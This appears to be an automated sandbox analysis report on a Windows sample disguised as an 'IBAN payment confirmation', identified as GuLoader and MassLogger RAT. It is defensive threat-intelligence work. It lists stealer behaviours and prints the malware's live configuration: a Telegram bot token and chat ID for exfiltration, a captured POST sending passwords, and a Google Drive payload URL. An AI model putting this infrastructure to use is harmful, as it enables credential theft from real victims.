Edit tour

Windows Analysis Report
IBAN payment confirmation.exe

Overview

General Information

Sample name:	IBAN payment confirmation.exe
Analysis ID:	1567427
MD5:	b134b557b86a160168de0c56ba982ea6
SHA1:	7c6e7f286bc9de5bd66a5cf4713d7938e78ab3ae
SHA256:	5b67270f1f8cfdbb96cfa359f9d9caa35fcfa9538ef8a3b27fff7b7001c3584c
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

IBAN payment confirmation.exe (PID: 3432 cmdline: "C:\Users\user\Desktop\IBAN payment confirmation.exe" MD5: B134B557B86A160168DE0C56BA982EA6)

IBAN payment confirmation.exe (PID: 3824 cmdline: "C:\Users\user\Desktop\IBAN payment confirmation.exe" MD5: B134B557B86A160168DE0C56BA982EA6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1943129976.0000000005351000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: IBAN payment confirmation.exe PID: 3824	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: IBAN payment confirmation.exe PID: 3824	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: IBAN payment confirmation.exe PID: 3824	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:20:36.970827+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49903	149.154.167.220	443	TCP
2024-12-03T15:20:40.631481+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49913	149.154.167.220	443	TCP
2024-12-03T15:20:45.275440+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49926	149.154.167.220	443	TCP
2024-12-03T15:20:48.795846+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49935	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:20:26.610765+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49862	132.226.247.73	80	TCP
2024-12-03T15:20:34.829536+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49862	132.226.247.73	80	TCP
2024-12-03T15:20:38.657701+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49909	132.226.247.73	80	TCP
2024-12-03T15:20:43.220296+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49919	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T15:20:11.187457+0100	2803270	2	Potentially Bad Traffic	192.168.2.7	49841	172.217.19.174	443	TCP

HTTP traffic detected: POST /bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1387340d4cc4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006ABE000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: IBAN payment confirmation.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036F31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameP
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000037141000.00000004.00000800.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.000000003705A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAHqEKY-434lRHaHTq5dzX-5SzIzpyCwC4s/sendDocument?chat_id=2065
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: IBAN payment confirmation.exe, 0000000B.00000002.2509476832.00000000069F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/4
Source: IBAN payment confirmation.exe, 0000000B.00000002.2509476832.00000000069F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/d
Source: IBAN payment confirmation.exe, 0000000B.00000002.2509913511.0000000008470000.00000004.00001000.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh
Source: IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh.
Source: IBAN payment confirmation.exe, 0000000B.00000003.2179357888.0000000006A60000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2179458705.0000000006A65000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2146619589.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh&export=download
Source: IBAN payment confirmation.exe, 0000000B.00000002.2509476832.0000000006A4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1GgMJKZPxz_ZGljJ3SvY2kRtxfuU0niSh&export=download3
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
Source: IBAN payment confirmation.exe, 0000000B.00000002.2529825283.0000000036FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.orgP
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006AA8000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2127970360.0000000006A66000.00000004.00000020.00020000.00000000.sdmp, IBAN payment confirmation.exe, 0000000B.00000003.2128063923.0000000006A66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935

Source: unknown	HTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.7:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49903 version: TLS 1.2

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Code function: 0_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D3

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: IBAN payment confirmation.exe

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040335A
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		11_2_0040335A

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_00404B10	0_2_00404B10
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 0_2_0040653F	0_2_0040653F
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00404B10	11_2_00404B10
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_0040653F	11_2_0040653F
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00114328	11_2_00114328
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_0011E6A8	11_2_0011E6A8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_001127B9	11_2_001127B9
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00118DA0	11_2_00118DA0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00115968	11_2_00115968
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00115F90	11_2_00115F90
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_0011E6A5	11_2_0011E6A5
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_00112DD1	11_2_00112DD1
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983AF80	11_2_3983AF80
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983A928	11_2_3983A928
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39835B28	11_2_39835B28
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39831608	11_2_39831608
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983C628	11_2_3983C628
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39835180	11_2_39835180
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983D788	11_2_3983D788
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983EF90	11_2_3983EF90
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983EFA0	11_2_3983EFA0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_398397B9	11_2_398397B9
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983C1C0	11_2_3983C1C0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_398397C8	11_2_398397C8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983C1D0	11_2_3983C1D0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983F3EC	11_2_3983F3EC
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983F3F8	11_2_3983F3F8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_398315FC	11_2_398315FC
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39835908	11_2_39835908
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983A919	11_2_3983A919
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983D321	11_2_3983D321
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983D330	11_2_3983D330
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983EB43	11_2_3983EB43
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983EB48	11_2_3983EB48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39839361	11_2_39839361
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983BD68	11_2_3983BD68
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39839370	11_2_39839370
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983BD78	11_2_3983BD78
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983CA80	11_2_3983CA80
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39834CAB	11_2_39834CAB
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983A4C0	11_2_3983A4C0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983CEC8	11_2_3983CEC8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983A4D0	11_2_3983A4D0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983CED8	11_2_3983CED8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983E6ED	11_2_3983E6ED
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983E6F0	11_2_3983E6F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_398360FE	11_2_398360FE
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39839C11	11_2_39839C11
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983C618	11_2_3983C618
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39839C20	11_2_39839C20
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983F844	11_2_3983F844
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983F850	11_2_3983F850
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983A068	11_2_3983A068
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983CA70	11_2_3983CA70
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983A078	11_2_3983A078
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_3983AE78	11_2_3983AE78
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C998D0	11_2_39C998D0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C97E40	11_2_39C97E40
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C971A8	11_2_39C971A8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C96130	11_2_39C96130
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C99568	11_2_39C99568
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C98490	11_2_39C98490
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C977F0	11_2_39C977F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C939EC	11_2_39C939EC
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C939F0	11_2_39C939F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C908E4	11_2_39C908E4
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C908F0	11_2_39C908F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C92890	11_2_39C92890
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C9287F	11_2_39C9287F
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94B48	11_2_39C94B48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94B50	11_2_39C94B50
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C98AD8	11_2_39C98AD8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C98AD5	11_2_39C98AD5
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C91A44	11_2_39C91A44
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C91A50	11_2_39C91A50
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C90D48	11_2_39C90D48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C90D38	11_2_39C90D38
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C92CD8	11_2_39C92CD8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C92CE8	11_2_39C92CE8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94FA8	11_2_39C94FA8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94FA4	11_2_39C94FA4
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C91E98	11_2_39C91E98
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C91EA8	11_2_39C91EA8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C93E48	11_2_39C93E48
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C93E38	11_2_39C93E38
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C97E3B	11_2_39C97E3B
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C91190	11_2_39C91190
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C911A0	11_2_39C911A0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C93140	11_2_39C93140
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C96123	11_2_39C96123
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C93130	11_2_39C93130
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C90040	11_2_39C90040
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C90006	11_2_39C90006
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C9E020	11_2_39C9E020
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C9E030	11_2_39C9E030
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C92300	11_2_39C92300
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C922F3	11_2_39C922F3
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C94293	11_2_39C94293
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C942A0	11_2_39C942A0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C915F8	11_2_39C915F8
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C915F0	11_2_39C915F0
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C93588	11_2_39C93588
Source: C:\Users\user\Desktop\IBAN payment confirmation.exe	Code function: 11_2_39C93598	11_2_39C93598
